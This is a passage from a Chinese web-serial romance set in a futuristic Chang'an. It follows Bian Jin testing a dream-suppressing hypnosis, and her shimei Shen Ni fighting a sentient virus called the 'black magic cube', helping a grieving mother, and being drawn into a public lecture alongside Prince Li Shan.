边烬勉强提起笑意,“万姑姑对侯府尽心,怎么能算麻烦。”
万姑姑募来的这些人一看便知是想靠劳力养家的本分人,在如今的世道可不好找。
万姑姑一定花了很多心思。
往后有万姑姑帮沈逆照看侯府,沈逆定不会为琐碎小事劳神。
边烬回了寝屋,打算睡一会儿养养神,顺便测试一下催眠效果。
她所谓的测试,在她自己看来其实有够荒唐。
既然是想看看春闺残梦是否被顺利掩盖,那么普通入睡是没有办法成功测试的。
毕竟她的梦很少,做梦也是梦到那些血腥的战场,以及从深渊之中生出想要扼杀她的手。
带着春.情的梦,本就少之又少。
如今要测试,自然要在入睡之前看些什么,才能引发情与爱的联想,看看旧梦还会不会重现。
边烬知道万维网上常年乌烟瘴气,想要找到那些东西轻而易举。
在此之前,边烬重新走到门口,确定门已落锁。
坐回床上,登上万维网,不太熟练地找了一会儿。
指尖游移地轻动了几下,在真正播放之前,又不自然地往窗扉望去。
从来对那些事情不感兴趣,甚至是鄙夷的边烬,没想到有朝一日会在新婚寝屋里,偷偷摸摸做这等事情。
收回目光,深吸一口气,下定决心般点击了播放。
一阵糜乱的画面和夸张的声音立即涌入她的视听。
边烬:……
怎么还有特写?
怎么一直都是特写?
不仅没让她联想到情和爱,反而有点恶心想吐。
立刻退出,恨不得马上去洗洗眼睛。
都看到了什么……
为什么会有人喜欢看这东西?
春.梦可能做不了,大抵会做噩梦。
边烬下床喝点水,压压惊。
惊压下去了,意识到思路可能有点偏差。
既然是想要测试会不会梦到师妹,那么看这些外人演绎出来的东西有何帮助?
还是看些与师妹有关的才能起到暗示作用。
幸好上回存了师妹的照片。
将沈逆的照片投影到眼前。
好像重逢之后,她还未这般仔仔细细又光明正大地看过师妹。
和小时候相比,现在的沈逆五官成熟了许多,笑起来像雨后忽见艳阳,浓丽的水润和灼目的灿烂融汇于眼前。
好会让人喜欢的一张脸。
静静看了片刻,等待着情和欲,却迟迟没来。
反而因为沈逆太好看的模样,心思平静柔软,更想睡觉了。
边烬撑着些精神思忖着,这法子还是歪了。
单看正常的照片只会惬意舒适,要想有暗示作用,需用些别的法子。
边烬关了手表,阖上眼,调出记忆模块里的某段记忆。
她的记忆模块有禁止访问区域,但大部分区域是可正常工作的。
记忆模块里的影像可以直接投影出来,当然也可以只在大脑中调用查看。
当年记忆模块和诸多其他模块陆续启用时,礼部可是头疼了好一阵子,帝国的各项考试和最重要的春闱规则也因此一改再改。
箱水母袭京那日的记忆影像,默默在大脑中播放。
播放的是沈逆执着她的右手,为她吸出毒血的那一段。
记忆影像虽说名为“影像”,若不是外放投影的情况,还会有触觉和嗅觉的回放。
焦灼味和血味中混入了梨花皂角的香,很淡的一缕,却在其他浓郁的气味中轻易地杀出重围。
吮弄得很有心机,哪儿让边烬战栗她便往哪儿去。
现在回忆,当时沈逆便丝毫没察觉到她的不对劲和难堪吗?
还坏的要命,在痛痒的伤口边沿咬了一口。
边烬胸口清晰地起伏,眼睫藏不住地眨动。
翻了个身,感觉不太妙,像将自己放在火上炙。
这样的情况下,真能不发些拨云弄雨的痴梦么?
倦意深深,边烬在隐忍间睡着了。
……
再次醒来,提取播放的那段记忆影响播放完毕,已经自动停止。
脑中一片清澄。
眼皮累得不想睁开。
想起入睡前在做什么,立即回忆一番。
没有做梦。
太好了。
边烬缓了口气,低声呢喃着:“没有梦到师妹。”
贺兰濯的催眠是有效的。
再测试几次,就可以和沈逆去开通连理模块了。
“没梦到我,你很高兴么?”
沈逆的回应声忽然在耳边响起。
边烬蓦地睁眼。
沈逆不知何时回来了,正伏在床边,双手撑着下巴看着她,委委屈屈。
第44章
“师妹,你几时回来的?”
边烬为了不显慌张,慢悠悠地坐了起来。
沈逆还是像朵小花儿一样,撑着脑袋,丢出来的问题却是直切要害。
“师姐为何要锁门?”
“我想睡个好觉便落了锁,你是如何进来的?”
“内宅系统是我一手打造出来的,用我这张脸自然能畅通无阻。”
未待边烬再说,沈逆率先叹气。
“师妹怎么叹气?”
“把我锁在寝屋和你的梦境之外,师姐就能开开心心睡个好觉,我如何能不叹气?原来对师姐而言,我堪比噩梦。”
边烬听她话中带着难过,正想解释,却发现她那难过是假装出来的。
眼尾还带着笑呢。
“捉弄我捉弄够了。你今日去研发署如何,李煽有为难你吗?”
居然就这样转开了话题……
即便还没人认领她这位温柔的妻子,她也可以继续当师姐体贴的小师妹。
不愿师姐为难,真没再捉弄她,顺着她的话复述了研发署的经历。
沈逆:“师姐好像不太惊讶安王已入长安?”
边烬:“我听闻李褚已经被发配兰陵,李褚垮台,曹肃那帮人必然要寻找下一个待立之主。若是李渃元有子嗣,他们还能站队,分分派系。可惜,李渃元无后,身体日渐衰弱,若是晏驾,继位者必是李氏七王之一。李褚愚昧痴顽不堪重用,曹肃等人扶持过他一次,便知他的底色,不会再回头拥护。剩下六王或是头童齿豁,或是龆年稚齿,甚至还有比李褚更骄奢淫逸的无能之徒。”
沈逆指骨点点下唇,“算来算去,也只剩安王李极了。但听说安王弱不胜衣,性子也软弱,这些年一直住在封地,极少参与政事。”
边烬:“软不软弱,可不能只听传闻。”
沈逆颔首。
边烬道:“正好李渃元害病,李极打着探病的幌子入京,顺理成章。若是没猜错的话,安王很快就会借着黑魔方在京师崭露头角。此人神秘,见识过她手段的人少之又少。曹肃等人拥护她,她必定会盯上你。可得小心谨慎些。”
边烬说一句话,沈逆就点一下脑袋。
点到最后边烬都笑了。
“捉弄我之后就这么乖?”
刚睡醒的边烬声音轻轻的,软语温言,让人心折。
好喜欢边烬对她毫无保留,将心里的想法全部说出来的模样。
聪明自若,又体贴周全。
有种美而不自知的淡然。
仿佛回到幼时,边烬陪着她秉烛夜读,教她读书识字的轻缓时光。
“接下来的日子,无论是城防工事还是安王与你的争夺,恐怕都会让你烧脑筋的。”
边烬一句话,让沈逆回到现实。
沈逆还是伏在床边,舍不得离开,双臂搭着床沿。
“城防工事一直未断,我开发了一个程序能帮我监工。别看这几日我在躲懒,其实进度不慢。”
边烬淡笑道:“你的聪慧全用在偷懒上了。”
边烬笑得太温柔,沈逆目光不甘地落在边烬拢在身前的手上。
还在双极楼时,如这般夸奖,肯定会抚一抚她的脑袋的。
沈逆盯着边烬的手半晌,那双手也未察觉到她心思,依旧安静交握,纹丝不动。
沈逆有点泄气道:“师姐不用挂心,无论城防还是李氏王爷,我都有办法应付。”
“李氏王爷肯定会联合起来针对你,你如何应对?”
“李煽威望最盛,她能抵其他六王。”
边烬听出她话中之意,便是李煽会帮她。
本来边烬想说,现在我们二人名义上是双妻,有事尽可告诉我,我们一起想办法。
原来师妹聪颖,已经有了应对之策。
沉静的双眸落在沈逆脸庞上片刻,没做评价.
如边烬所说,接下来的日子沈逆一改先前的散漫,在工程司、大明宫和侯府来回奔忙。
据说因为黑魔方横行,长安城内掀起一大波卸载义体的狂潮。
城内的机械师俱乐部和医所爆满,但卸载全身义体不是场小手术,风险高,机械师的精力有限,每天最多只能接两台卸载手术,排号已然排到了明年。
转院、交换药品和材料,还有向沈逆求救的,机械师俱乐部的聊天群里每天上万条信息起步,一片兵荒马乱。
沈逆得空就会回复两句。
在沈逆的帮助下,升级的黑魔方探测器直接植入官差模块中,即便电子手表意外丢失,也能探查黑魔方的位置。
丽景门和金吾卫加快排查力度,日夜不停,已经擒获两个低等级异兽,按照沈逆教导的方法将“大脑”取出后封印。
此举十分有效,有人拍摄了金吾卫擒拿异兽的视频发到万维网上,转眼就破了百万的播放。
内廷在其中推波助澜,长安城乃至整个帝国百姓又一次看到了扼杀黑魔方的希望。
空荡荡的街头又开始出现人影,百姓们的日常生活在金吾卫密集的巡视中逐渐恢复。
但这次,内廷并没有再将最大功臣沈逆推到人前。
所有的功绩送给了最高研发署,送给了李煽。
李煽成了整个帝国的大恩人,在万维网被网民们顶礼膜拜。
永王威望再一次走高。
而真正升级探测器,熬夜稳固城防的沈逆,则没有被提及半个字。
李煽在新闻署直播的时候,收到了无数鲜花和礼物,被夸赞和感恩戴德淹没。
但她一点都高兴不起来。因为她知道这些不是自己的功绩,她受之有愧。
可看到李渃元又一次对她笑时,又无法说出“这一切都是沈逆的功劳”。
沈逆当然知晓自己给李煽做嫁衣的事儿。
连第五阙都一大早跑到工程司来怒骂。
“还有没有天理了?!明明是你干的活,你护的城,结果全成最高研发署的功绩了?我的亲亲靖安侯,你还有心思在这里雕花。”
沈逆昨夜就没能回府,在城防那头熬到天明,回来后睡了不到一个时辰就醒了。
边烬没在身侧,怎么睡都不香,第五副使还大驾光临,干脆不睡了。
第五阙说的事都进过沈逆耳朵,她半点不着恼,手里还捧着个圆乎乎的事物,执着电熔笔慢悠悠地在上面精雕细刻。
沈逆向她解释:“我这不是雕花,雕脑袋呢。打印机打出来的就是缺点灵魂,还得我自己动手画。你瞧,是不是惟妙惟肖多了?”
沈逆手中一转,一颗稚童的脑袋正对着第五阙微笑。
第五阙被这诡异的笑容惊得一屁股坐椅子上。
“好家伙,是挺惟妙惟肖的,和你真的摘了哪家小孩的脑袋没什么区别。”
“像真的就行。”
“怎么,还做人偶玩呢?还有更损点的没有?”
第五阙刚说完,沈逆就从柜子里拿出下半截的身子,把脑袋和身子按在一起。
正脸接到了后背,沈逆“啊”了声。
“反了。”
双手一拧,稚童含着笑意的脑袋在让人牙软的“咯啦”声中被掰了大半圈。
第五阙:……
说早了,还真有。
“你来找我就是为说这事儿?”脸和身子终于对上,沈逆帮稚童整了整衣服,顺便提醒道:“你东西掉了。”
第五阙刚刚吓得一屁股落座时,有个东西从她口袋里掉了出来。
捡起来疼惜地拍掉上面的灰。
“怎么,听你的语气我如果只有这点事儿,你就得赶我了呗?”
沈逆见她拿着一只绿油油的多足虫虫玩偶。
“这是什么,丑丑的。”
“怎么就丑了,我的限量款小礼物多可爱。”
“哟,收礼物了?”
沈逆见她一脸花痴样,就知道是心上人送的。
第五阙心疼地亲了亲刚刚掉在地上的小虫子,小心翼翼放入袖袋内。
沈逆嫌弃地:“咿。”
“你咿我?”
“嗯,太羡慕了,忍不住咿一下。”
“……沈逆,有人说你鬼话说得越来越利索了吗?”
沈逆笑着摸了摸蹀躞带上的歪脸人胜。
也是,心上人送的礼物再丑,都喜欢得要命。
沈逆:“我得帮我师……夫人把这孩子给送回家去。没事儿我就不留你用午膳了。”
第五阙听说了她们那日在东市遭遇异兽,那稚童的母亲也不容易。
不过以前她们在北境的时候,不容易的人多了去了,没见沈逆这般热心。
她可不是突然转性,都说了,是为了她夫人。
第五阙给自己剥了几瓣橘子,边吃边揶揄。
“你还揽这活儿呢。可真够宠妻的。”
沈逆想起边烬坐在最高研发署那台联想记忆探测仪上,散发着浓烈悲伤情绪,却不许自己外露半分。
逞强的模样,惹人心软。
沈逆抚着稚童的脑袋,柔声说:“我这夫人,看花开花谢都能看一整日。植物枯了不舍丢弃,亲自做成标本。曲终人散,就她还念着旧情。即便是路过的陌生人,也想着帮人家缝补创伤。要是她去送人偶,看到那母亲难过肯定也不好受。我无所谓,反正我铁石心肠,帮忙跑一趟便是。”
第五阙打趣道:“发现了没,说起你这位亲亲夫人,你可是立马从惜字如金变得口若悬河。怎么,心上人不找了?就此和你这师姐坠入温柔乡了?”
沈逆给稚童梳回冲天辫,纳闷回问:“什么心上人?”
“在我这儿就别装了。你是为了谁去了北境,在北境又是怎么发疯到处找人?连乱葬岗都被你翻了个遍,别说是我误会了。”
沈逆“哦”了一声,也没反驳,只是笑笑。
第五阙还待开口,身后一声冷笑传来。
“你这脑子转不动别勉强硬转。”
第五阙回头,贺兰濯不知何时来了,单手撑在她沙发靠背上。
黑长直束了起来,护目镜依旧,西装依旧,不饶人的嘴依旧。
就是不知道昨日在她锁骨上咬的牙印,是不是也依旧。
第五阙心思有点飘,贺兰濯道:“就不能心上人和现在的夫人是同一个?”
第五阙“咦”了一声,再看沈逆默认的表情,忽然开窍。
“莫非你当初就是为了找边烬才去的北境?这么一说也对,边烬可是在北境失踪了三年呢。”
沈逆丢给贺兰濯一个橘子,“你们怎么还在长安,睦州那边没活儿了?”
“早就想回去了,城门不是被你们关了么。”贺兰濯单手接住橘子,不想弄脏手,递给第五阙,“帮我剥。”
这位睦洲第一望族第五家族嫡女,在万千宠爱中长大的千金,还真乖乖帮她把橘子剥了。
不仅剥了,还把果肉外面那层不好咀嚼的橘络一点点清理干净,分出一小瓣一小瓣的,递回去给贺兰濯。
沈逆:……
我看到什么?
为什么要看到这些?
师姐什么时候也能给我剥橘子?
贺兰濯拿过橘子,双指夹了一下第五阙的脸蛋,以示奖励。
第五阙小脸通红,瞧着贺兰濯的双眼都要擦出火花来了。
沈逆心里为自己鞠一把泪。
要不你俩速速回帝国客栈二人世界,别出来祸害已婚单身人士。
沈逆轻咳一声道:“走不了就暂居长安吧,正好也能为围剿黑魔方出一份力。”
贺兰濯:“睦洲还有一位副使能打理政务,不急现下我们也只能暂留京师。”
沈逆要出去送人偶了,让贺兰濯和第五阙自便。
离开前,沈逆察觉到贺兰濯今天好像对自己格外关注。
隔着护目镜都能感受到她的目光。
沈逆不解:“怎么?”
“没什么。”
“为什么隔着护目镜都能感受到你的怜悯?”
贺兰濯想起边烬要她消除的那段梦境内容,礼貌一笑。
“祸兮福之所倚,福兮祸之所伏。回见,侯君。”
沈逆:?
精神天赋者的精神状态都这样?神神秘秘,神神经经的。
作者有话说:
贺兰濯:福利就这样被沉塘了,可怜见的。
边烬:尾款还要吗?
贺兰濯:哦,可以再可怜一点。
沈逆:??-
祸兮福之所倚,福兮祸之所伏。
——贾谊《鵩鸟赋》
第45章
离开工程司时,有位属员过来向沈逆递交辞呈。
不用打开,沈逆都知道里面洋洋洒洒写了多少情非得已。
光是这三日她已经接连收到六封辞呈,措辞都差不多。
也能理解。虽说黑魔方已经有了遏制的法子,可工程司乃是最前线,在工程司干活等于脑袋挂在腰间,和其他各司各署相比危险得多,俸薪还未必高出多少。
话说回来,就算俸薪涨上几倍也赶不上命值钱,她这小小的工程司留不住人。
工程司本就缺人手,包括沈逆这总监事在内,整个司已经熬了好几个大夜,只为了能与南衙十二卫和丽景门里外夹攻,彻底铲除黑魔方。
他这时候递交辞呈,的确不仗义。
已经做好了沈逆诛心之言。
没想到,沈逆收了辞呈,说了句“保重”便要离开。
“哎?”属员反而奇怪,叫住沈逆,“总监事……”
沈逆回眸,“还有其他事吗?”
属员搓着手,忐忑地问她:“您就,没什么话要跟我说吗?”
“嗯?哪方面的话?”
“我这一走,会不会耽误工程啊?”
沈逆笑道:“那肯定会啊。”
“……”
“可你去意已决,人各有志,我说了你也未必爱听,还得绞尽脑汁来敷衍我,何必多费唇舌?给彼此都省点力气。”
属员被她这话堵得一时无言。
谁说不是呢……
习惯了官场那些老油子们的虚情假意和巧言令色,突然对上半句废话都懒得说的年轻上峰,还真有点不适应。
新鲜中又有点儿太过现实的冷酷。
真就,半点不挽留啊?
属员揣着手,失落地离开。
沈逆站在工程司门口等着她的马车来接。
算了算,现在工程司的人手已经严重短缺,剩下的属员的命也是命,再不放个假休息休息,指不定立马就会有人过载而死。
直接向李渃元要人吧。
短短一封奏疏就要写就,曾倾洛从街对面小跑而至。
曾倾洛一身不知哪儿沾来的灰,发髻上还有半面蜘蛛网,嘴角的伤口已经结痂,整个人灰头土脸气喘吁吁。
“小师姐,我、我有事要跟你说。”
沈逆帮她拍了拍灰,“你不会也要辞职吧?”
“辞职?不,我只是想问小师姐能不能把我暂调南衙十二卫,调入哪个编队都行。”
沈逆帮她摘蜘蛛网的动作顿住。
“你知不知道现在调去南衙十二卫,需要日夜排查黑魔方,还需捕杀异兽。光是这几日南衙十二卫就死了三十多人。”
“我知道很危险,但是黑魔方就在眼前,那么多人提心吊胆受它所害,我不想眼睁睁地看着黑魔方肆虐横行。我想出一份力,想保护长安城百姓!”
曾倾洛抓住沈逆的衣袖,说到激动之处,眼眶着急泛红。
曾倾洛唯一的血亲,和她相依为命的母亲,就是因黑魔方惨死。
从此之后,她没了家。
这些年,她脑子里一直都紧绷着一根弦。
不曾贪图舒适的生活,也不敢与谁建立任何情感联系,因为她随时都准备和黑魔方一绝死战,献出这条命。
她长大了几岁,面容也褪去了明显的稚气。
但她的心一直留在母亲过世的那一日,没有往前走。
只为铲除黑魔方而活。
沈逆望着她嘴角的伤口,手背上也有一道深深的血口。
“你遇到黑魔方了。”
曾倾洛:“是……我刚刚帮助金吾卫捕捉了一只异兽。抱歉小师姐,来不及跟你说一声。但是你交代我去查的事情我已经查完,发给你了。”
“我没有责备你的意思。旁人在贪生惧死保全性命,你却有这份胆色在为难之时敢勇当先。你若决定要在第一线诛杀黑魔方,我自会全力支持你。”
曾倾洛喜笑颜开,“谢谢小师姐!”
咧嘴一笑,嘴角的伤痛得她倒吸一口气。
“别谢我,这是作为上峰对你说的话。还有些作为小师姐想跟你说的,你想听吗?”
曾倾洛很少见这般认真的沈逆。
她点点头,声音小了几分,“嗯,想听。”
“先前已经跟你提过,黑魔方迭代出了智慧,会思考,意味着它变得更加复杂,也更加危险。倾洛,你很勇敢,但你也要记住,这世间还有在意你的人。”
曾倾洛听沈逆话的过程中,先是听一句点一下头,到最后死咬着唇,不肯落泪,只用力擦了擦眼睛。
曾倾洛吸了吸鼻子,“小师姐放心,我不会拿自己性命做傻事的。”
沈逆也不再说什么,说多了反而会增加她的负担。
曾倾洛也不知从弄来一款还没有升级的电子手表,里面装有最高研发署研制的探测器。
曾倾洛打算调整一下探测器,沈逆说:“给我个接插口,我帮你升级模块。这手表可以丢了。”
“好啊!谢谢小师姐!”
曾倾洛的接插口就在手背上,之前修复断指时留下的。
待升级完,想到马上就能寻到黑魔方,曾倾洛一颗心跃跃欲试,抽出接口时匆忙,有样东西在扯动间从背包中滑落。
曾倾洛神色一凝,就要去捡,沈逆先帮她捡了起来。
八只脚的丑萌虫玩偶,还没拆过封。
和第五阙那只一模一样。
看沈逆正在打量此物,又一眼瞄到第五阙从工程司里走出来。
第五阙的腰间还挂着同款玩偶。
曾倾洛立即将玩偶夺了回去。
“我,我之前看它有点可爱,随便买的。”
沈逆:“哦,原来随便一买就买到了限量版。”
曾倾洛顿时脸色通红,行了个礼,一跃上了屋顶。
沈逆:……
要不是这欲盖弥彰的解释,还未必会想到那层。
第五阙走到她身边,“咦”了一声:“小倾洛这是做什么去,急急忙忙的,也不打声招呼。”
沈逆瞧瞧她腰间那只虫,的确一模一样。
目光安静地移到第五阙的脸庞上。
这是张漂亮张扬,十分迷人的脸。
加上性情外向,人又仗义,还喜欢和人肢体接触的性子,应该惹过不少风流债而不自知。
第五阙不解,“干嘛这样看我?”
沈逆:“我在想,第五女郎,既然出不了城,帮我做点事如何?”
“修城防还是打黑魔方?”
“探听点情报。”
第五阙没再多问,很爽快一口答应下来。
沈逆悠悠望向站在高处,正全力搜查黑魔方的曾倾洛。
内敛孤独的少女,的确容易被第五阙这种外向又古道热肠的人吸引。
可惜。
沈逆登上马车时,第五阙对她抛了个花哨的小眼神。
“你想查什么就发给我,还用咱们以前那个天知地知你知我知的账号。”
沈逆看了眼站在第五阙身后,优雅地倚着门不知听了多久的贺兰濯,也是纳闷。
“你这样的人,怎么会有人喜欢?”
“什么意思?”第五阙不解。
沈逆关车门时留下一句:“很快你就知道了。”
马车离开,第五阙回头,终于发现了贺兰濯。
“怎么杵在这儿都不吭声?”
第五阙颠颠地跑过来,软着身子就要贴她。
“偷偷瞧我呢?”
贺兰濯双臂抱在胸前,一肘顶在她胸口,将她顶开。
第五阙捂着发痛的胸,又疑惑又痛的。
“干嘛肘我?”
贺兰濯:“你这样的人,怎么会有人喜欢?”
第五阙:?
懒得和她废话,飞轮已经借着工程司的电桩充好电,贺兰濯踩着飞轮“嗡”的一声消失在道路尽头。
第五阙痛苦地揉着胸,“……谜语人还会传染?”.
侯府马车奔驰在大道上。
满地灰土残渣,四处都是干涸的血迹和喷溅的动力油。
偶尔还会碾过一只手臂半条腿。
沈逆想了想,没给天子递奏疏。
侯府内那些眼线才刚刚清走,若是再向李渃元讨人,也不知道讨来的是干活的还是添乱的。
登录内廷系统,直接敲工部尚书。
当初工部尚书让她有需求尽管提,这句话还算数吧。
不想算数也得让他算数。
至于曾倾洛的转职,没必要惊动上面。
曾倾洛的身份特殊,当初她加入工程司已经是沈逆算计了工部尚书,否则她是永远无法入仕的。如今身份不好往外捅。
找谁照应比较好呢……
要用人的时候倒是头疼了起来,怪她平时得罪人太多,回长安城这么些日子,居然都没结个党营个私。
带着人偶来到稚童家中。
妇人起初还有些怕她,毕竟是她捣碎了儿子的脑袋。
可看到沈逆为她做的人偶,栩栩如生,一看就是费了不少工夫,不禁潸然泪下。
“说实话,我不是没怨过你,可回头仔细想想,他在那日之前就已经有了异常。家中的狗不知什么时候不见了,而他身上有股不知从哪儿沾来的血腥气。我留意到了,忙于生计,实在没空多想。没想到……若不是你出手,恐怕我也已经随我儿去了。谢谢你……”
沈逆与人争锋时从容自若,受人恩谢时却别别扭扭,手都不知放在何处才好,只道:
“我家夫人答应了你尽量将他带回。但他尸首已被黑魔方感染,太危险。所以……”
“我知道的,我都明白。”妇人抱着人偶,抚摸着人偶的脸,“做的可真像,真像啊。连脸蛋上的痣都一模一样。道理我都懂,只是,这些日子格外想我儿。他跟着我吃了那么多苦,还未曾过过一天好日子……”
从沈逆踏入这个家起,妇人就一直在强作坚强,还客气地为沈逆准备了茶水蔬果。
强撑至此,再也无法强颜欢笑。
沈逆最是不喜看到陌生人的眼泪。
她天生薄情,看到旁人落泪悲号都无甚感觉。
若是师姐在,总是要学着正常人的模样,装出几分动容的。
大概是装乖惯了,即便师姐没在,沈逆也模仿着师姐可能做的事。
将哭到脱力的妇人扶起,坐到椅子上,顺手为她倒杯热茶。
若是师姐,她会说什么样宽慰的话?
沈逆思来想去,大抵如此。
“他定会希望你能为自己好好活着。”
妇人凝滞了一息,忽然大哭不止。
沈逆也没再言语,就坐在她身侧安静待会儿,让她觉得这屋里还有丝陪伴的人气。
离开时,妇人伏在地上,对沈逆重重一拜。
沈逆尴尴尬尬回身施礼。
坐回马车时,沈逆习惯性地勾了勾腰间人胜。
歪脸人胜晃来荡去,像在对她笑。
幸好师姐没来,不然她那副软心肠看到此情此景,即便不发一言,心也不知道会难受成什么样。
想师姐了。
沈逆指尖轻动,飞了一鸽问她在何处。
过了一盏茶的工夫,沈逆回到工程司了才收到回复。
【在兰台,何事?】
好一个冷冷淡淡的“何事”。
没事就不能找你么?
可就是这般冷淡的只字片语,才能勾勒出边烬的模样。
甚至连语气都仿佛近在耳畔。
沈逆正想跟她说,午间去找她一同用膳。
结果率先收到最高研发署的传信。
【今日午后,永王殿下将在崇文馆举办关于黑魔方的专题讲座,诚邀黑魔方问题权威靖安侯,一同为莘莘学子授业解惑。】
现在最高研发署已经不是最高研发署了,官方账号一直都被李煽握着。
最高研发署的邀请,就是李煽的邀请。
沈逆没有回她,并不想去。
没想到崇文馆的馆主薛辟也给她飞鸽,问她是否在工程司,一会儿崇文馆的马车会来接她去讲课。
不是,就这么直接?
沈逆也挺服,知道的是邀请,不知道的还以为绑架来了。
本想推拒,可近日黑魔方稍有被压制的趋势,一场讲座不仅能鼓舞人心,更可能在关键时刻救人性命。
沈逆知道自己干过不少缺德事,能稍微积一积德也好。
况且,救人做好事,师姐知道的应该会喜欢的。
边烬那头等了一会儿,没等到沈逆的答复。
本想问她今日何时下值,若是有空,一同去民政司把连理模块开了。
等了半晌,等到沈逆回复两个字:【没事。】
边烬看着这两个字出了一会儿神。
师妹是真的随口问问,还是嫌弃她先前那句太过冷淡了?
的确类似传递军情般严肃无趣。
边烬想了想,回复道:【侯君在何处?午间我去找你一同用膳,有空吗?】
沈逆依旧没回。
孟初一边捶着肩头一边从档案馆出来,见四下无人,就只有边烬还在。
“人呢?还没到饭点吧,怎么人都不见了?”
边烬答道:“今日崇文馆有关于黑魔方的讲座,程大夫放了半日的假,大家都听讲座去了。”
“黑魔方的讲座?谁主讲?”
“永王。”
先前程辙走的时候,边烬听到他说主讲是永王李煽。
孟初三口喝完一大杯水,立即收拾东西。
“我也去!”
当下黑魔方是最热门的话题,她们这些没上过战场,只在万维网上见识过黑魔方的,别说在黑魔方手中活命,就是能不能发现黑魔方都是个未知数。
如今的世道,便是谁能掌握更多黑魔方的相关信息,谁就能活得久一点。
“边姐姐,你去吗?”
边烬对任何与黑魔方相关都有些兴趣。
更何况看这趋势,讲座必定会吸引一大波人潮,若是黑魔方忽然出现,后果不堪设想。
反正也在等沈逆回复,听听讲座就当打发时间了。
崇文馆距离兰台很近,步行一炷香就到。
去的路上发现这场讲座的规模比她想的要大。
今日的讲座是开放式的,不止崇文馆的学生,京城各大书院的人全都往崇文馆跑。
还没到馆门口就已经门庭若市,负责维持次序的金吾卫在边烬她们这波人进去后,就关闭了崇文馆的通道。
“是她吗?真的确定她本人会来?”
“千真万确!居然说还会穿官袍来讲课!”
“天呐,我得偷拍一百张!”
“不是,你们是来听讲座还是来慕星的?讲座不好好听,回头遇到黑魔方就是死路一条。”
“别遇到黑魔方了,要是她能让我提个问题,和她说句话,我当场命给她都行!”
“……”
乌泱泱的年轻学子脸上带着兴奋劲儿,看上去不像是去听讲座,倒像是去相亲。
边烬听了一耳朵的聒噪,说的话也不堪入耳。
看来近日的政绩,让永王在学子中的名望大增。
崇文馆内,办公处。
沈逆从进门开始就被馆主薛辟拉着,絮絮叨叨说了一堆他当年和双极楼师尊如何肝胆相照,如何患难相扶的旧事。说得老泪横流,义眼险些被眼泪从眼眶里冲出来。
听崇文馆学士说,今日来者众多,偌大的崇文馆都要被挤爆了。
沈逆倒是一点都不紧张,来再多人都没什么感觉。
对治过军的人而言,一场小讲座而已,还不到让她犯怵的地步。
学士看她半张手稿都不准备,好心提醒,“侯君不备稿吗?”
沈逆:“不用。”
沈逆在京中素有张狂之名,学士也有所耳闻,今日一见的确有那份心高气傲。可长得实在太美,冷淡却维持着让人舒适的礼貌,倒是一点都讨厌不起来。
学士道:“回头永王殿下说完,侯君便可上台了。”
沈逆颔首。
学士离开,无人之时,沈逆打开边烬的传信,眼前一亮。
居然称她为“侯君”。
不是师妹,而是侯君。
师姐这是玩什么趣味呢?
看后半句,说要来找她一同用膳。
这般主动可不多见。
是不是意识到先前的冷言冷语让人不悦,主动来哄了?
想象着边烬苦恼地琢磨怎么哄她的场面,沈逆开心地用脚尖磨了磨地面。
可惜,今日是没空了。
沈逆压抑着想要直接唤她“夫人”的冲动,利落地敲字:
【我现在人已经到了崇文馆,有个科普黑魔方的讲座。讲座完了我去找你呀?】
敲完后没直接飞鸽,看了一遍,觉得言语间太过活泼,把那个颇有花痴意味的“呀”字给去了再发。
崇文馆门口,披坚执锐的金吾卫立于入口处,入馆者需一一扫描是否携带黑魔方病毒。
崇文馆是为皇室贵戚设立的学府,今日李煽让薛辟广开门路,但凡想听讲座的,通过病毒检测后均可入馆。
边烬和孟初到的时候,里面已经人满为患,她们只能寻一个角落站着。
李煽主讲黑魔方探测器的原理,以及近日内廷对黑魔方策略的变化,呼吁大家配合金吾卫巡查,一切都是为了保障百姓生命安全。
李煽所言,比边烬想象的要有条理,有信服力。
很多年前边烬见过李煽,那时李煽还未觉醒天赋,木讷怯懦,无论与谁说话都畏畏缩缩,不敢看对方眼睛。
转眼数年过去,最高研发署这些年的磨练让她老成练达许多,最重要的恐怕还是天赋的觉醒,为她增加了不少自信。
李煽说完,众人低声耳语着,有些躁动。
边烬听到了有人提及“靖安侯”的名号。
边烬眉心略蹙,这一路人实在太多,她又在留意金吾卫的变化和是否有黑魔方潜藏在路人之中,忘了看沈逆有没有回复她。
此刻一看,沈逆果然已经回复,而她本人也在一片热烈的掌声中上了台。
孟初“咦”了一声,问边烬:“边姐姐,你夫人哎!靖安侯居然也来了!你怎么都不说!”
边烬:“……我也是刚知道。”
李煽来崇文馆讲座,沈逆也一道跟着来了。
原来她俩已经有了这些联系。
看来那日沈逆说李煽会站在她这边,所言非虚。
她们又是何时建立的关系呢?
边烬被一种前所未有的情绪堵着心,酸涩感在胸口蔓延。
偏偏酥麻的感受和酸痛同时袭来,更教她不解。
和那夜的检查如出一辙。明明没有被沈逆触碰,却滋生出难耐的热。
边烬双臂环抱在身前,压抑着奇异的情绪。
娇俏的鼻尖上已经冒出薄薄汗珠。
如果现在检测指数的话,恐怕已经接近一百八十。
而这次无法自控的燥热之中,又夹杂着些许疼痛感。
为何会这样?
目光很难从人群尽头的沈逆身上移开。
沈逆从万众瞩目中过,翩然优雅,掀起满场欢呼。
原来学子们仰慕的不是永王,而是她。
沈逆却没有发现人群之后的边烬,与李煽擦肩而过。
李煽的目光落在沈逆身上片刻,半晌不舍抽离。
此景此景被边烬看在眼里,呼吸渐渐变得浊重。
想要立刻触碰沈逆的冲动情绪,在心口一下下地顶撞着。
第46章
沈逆这几天没睡好,黑眼圈严重,也懒得补妆,就随意戴了副墨镜出来遮一遮。
绯袍加身,幞头墨镜,年轻不羁又妍丽非凡的模样,可是让学子们激动坏了。
沈逆走上台,透过墨镜,发现和自己想的不同。
以为见到的会是一张张忧心忡忡的脸,没想到却是满面痴态。
沈逆:……
看来有点小瞧当代年轻人的精神状态了。
没什么开场白,沈逆直接投了一段记忆投影。
“这是我刚去北境没多久遇到的真事儿,大家随便看看。”
投影内,溟濛的黑夜里,一位衣衫褴褛的可怜老媪用根树枝撑着身子,蹒跚地走向镜头。
老媪身后跟着一只骨瘦如柴行路困难的狗。
老媪边走边向沈逆伸出枯枝般的手,声音嘶哑难听。
“官家……给口吃的吧……”
沈逆暂停视频,问众人:“若你们遇到这种情况,会如何处理?”
抢坐在第一排少年郎抢答:“得看我身上有多少干粮。若是足够,分给老媪一些也不妨事。”
他身边斯斯文文的同窗也道:“这样困苦的环境中,竟舍不得吃狗,还一直带在身侧,可想而知老媪心地纯良。这样的人如何能让她死?”
堂下一阵低低的议论声,沈逆没做评价,继续播放。
